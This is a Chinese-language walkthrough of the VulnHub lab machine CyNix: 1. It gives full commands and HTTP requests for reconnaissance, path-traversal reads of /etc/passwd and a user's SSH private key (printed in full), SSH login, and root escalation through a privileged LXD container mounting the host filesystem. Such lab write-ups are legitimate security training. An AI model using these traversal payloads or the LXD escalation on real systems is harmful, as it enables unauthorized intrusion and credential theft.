CyNix: 1

CyNix: 1

目录

• CyNix: 1
• 1 信息收集
  • 1.1 端口扫描
  • 1.2 后台目录扫描
    • 1.2.1 目录分析
• 2 GetShell
  • 2.1 赋予id_rsa文件600权限，否则会报错，无法连接
  • 2.2 连接目标服务器
• 3 提权
  • 3.1 尝试提权
  • 3.2 收集当前系统信息
  • 3.3 LXD GROUP提权

下载地址：CyNix: 1 ~ VulnHub

1 信息收集

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3 
PORT      STATE    SERVICE   VERSION
80/tcp    open     http      Apache httpd 2.4.29 ((Ubuntu))
6688/tcp  open     ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

1.2 后台目录扫描

dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -F

[21:37:35] Starting: 
[21:37:45] 200 -   15KB - /lavalamp

Task Completed

1.2.1 目录分析

1. http://192.168.0.3/lavalamp/中发现留言板， 抓包发现可疑页面http://192.168.0.3/lavalamp/canyoubypassme.php，没有显示出来，访问试试。

   

2. 尝试访问http://192.168.0.3/lavalamp/canyoubypassme.php，网页被一个动画覆盖了。

   

3. 分析网站，存在opacity被设置为0.0，即被隐藏起来了，删除opacity: 0.0;后显示在图片上。

   

4. 随便写个数字上去提交，post主体内容有个file，尝试文件包含查看/etc/passwd

   POST /lavalamp/canyoubypassme.php HTTP/1.1
   Host: 192.168.0.3
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   Accept-Encoding: gzip, deflate
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 71
   Origin: http://192.168.0.3
   Connection: close
   Referer: http://192.168.0.3/lavalamp/canyoubypassme.php
   Upgrade-Insecure-Requests: 1
   DNT: 1
   Sec-GPC: 1
   
   file=1/../../../../../../../etc/passwd&read=Download+the+number
   

   

5. 根据/etc/passwd文件得知系统中存ford用户

   

6. 查看ford用户家目录保存的ssh登录私钥文件：根据习惯会放到/home/username/.ssh/id_rsa目录下，一查还真有

   POST /lavalamp/canyoubypassme.php HTTP/1.1
   Host: 192.168.0.3
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   Accept-Encoding: gzip, deflate
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 74
   Origin: http://192.168.0.3
   Connection: close
   Referer: http://192.168.0.3/lavalamp/canyoubypassme.php
   Upgrade-Insecure-Requests: 1
   DNT: 1
   Sec-GPC: 1
   
   file=1/../../../../../../../home/ford/.ssh/id_rsa&read=Download+the+number
   

   

7. 将私钥保存到本地，并尝试连接目标服务器

   $ cat id_rsa
   -----BEGIN RSA PRIVATE KEY-----
   MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal
   zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2
   LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG
   zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz
   Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6
   gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc
   gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR
   iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL
   DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr
   69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl
   rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4
   VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9
   TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw
   qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM
   gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h
   dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7
   myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b
   C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD
   7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8
   dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv
   kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n
   KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y
   QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1
   +QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP
   /kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=
   -----END RSA PRIVATE KEY-----
   

   

2 GetShell

2.1 赋予id_rsa文件600权限，否则会报错，无法连接

chmod 600 id_rsa

2.2 连接目标服务器

ssh -i id_rsa ford@192.168.0.3 -p 6688

3 提权

3.1 尝试提权

 sudo su - 

3.2 收集当前系统信息

1. 查看当前系统中具有sid权限的文件

   ford@blume:~$ find / -perm -u=s 2>/dev/null
   /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   /usr/lib/eject/dmcrypt-get-device
   /usr/lib/openssh/ssh-keysign
   /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   /usr/bin/newgrp
   /usr/bin/sudo
   /usr/bin/gpasswd
   /usr/bin/chfn
   /usr/bin/passwd
   /usr/bin/newuidmap
   /usr/bin/chsh
   /usr/bin/newgidmap
   /usr/bin/traceroute6.iputils
   /bin/ping
   /bin/su
   /bin/mount
   /bin/umount
   /bin/fusermount
   

2. 查找当前系统中ford用户创建的文件：存在lxc配置文件，说明系统安装了lxc服务

   ford@blume:~$ find / -user ford 2>/dev/null | grep -v "/proc/"
   /dev/pts/2
   /dev/pts/1
   /home/ford
   /home/ford/.bash_history
   /home/ford/.ssh
   /home/ford/.ssh/id_rsa.pub
   /home/ford/.ssh/id_rsa
   /home/ford/.ssh/authorized_keys
   /home/ford/user.txt
   /home/ford/.config
   /home/ford/.config/lxc
   /home/ford/.config/lxc/config.yml
   /home/ford/.config/lxc/cookies
   /home/ford/.local
   /home/ford/.local/share
   /home/ford/.local/share/nano
   /home/ford/.sudo_as_admin_successful
   /home/ford/.profile
   /home/ford/.bash_logout
   /home/ford/.bashrc
   /home/ford/.cache
   /home/ford/.cache/motd.legal-displayed
   

3. 正常运行的容器

   ford@blume:~$ lxc ls
   

   

3.3 LXD GROUP提权

当用户具有lxd权限时，可以通过创建任意镜像，并将当前系统根目录挂载到镜像mnt目录下，然后通过chroot命令即可获取当前系统的root权限

1. 查看当前用户权限

   

2. 下载镜像并导入到lxd中：

   # 使用lxc下载镜像，自动创建一个ubuntu容器并导入到lxd中
   # 如果本地没有初始化过lxd，那么需要先执行lxd init进行初始化
   lxc init ubuntu: fcarey -c security.privileged=true
   
   # 自动下载ubuntu镜像比较慢，可以使用Github上构建好的镜像
   # 下载地址：https://github.com/saghul/lxd-alpine-builder
   ford@blume:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
   ford@blume:~$ cd lxd-alpine-builder/
   ford@blume:~/lxd-alpine-builder$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias fcarey
   ford@blume:~/lxd-alpine-builder$ lxc init fcarey fcarey -c security.privileged=true
   Creating fcarey
   

   

3. 配置容器，将宿主机根目录挂载到容器/mnt/root目录下。

   ford@blume:~/lxd-alpine-builder$ lxc config device add fcarey fdevice disk source=/ path=/mnt/root recursive=true
   

4. 启动并进入容器中，此时获取到的是容器的shell

   ford@blume:~/lxd-alpine-builder$ lxc start fcarey
   ford@blume:~/lxd-alpine-builder$ lxc exec fcarey /bin/sh
   

5. 由于已经将宿主机根目录挂载到了容器的/mnt/root目录下，因此在容器内，/mnt/root/目录是一个完整的根目录，可以使用chroot获取到这个根目录的完整root权限

   chroot /mnt/root
   

   

6. 获取权限后可以对这个被挂载的根目录系统进行密码重置，创建特权账号等一起写高权限操作。等同于获取宿主机root权限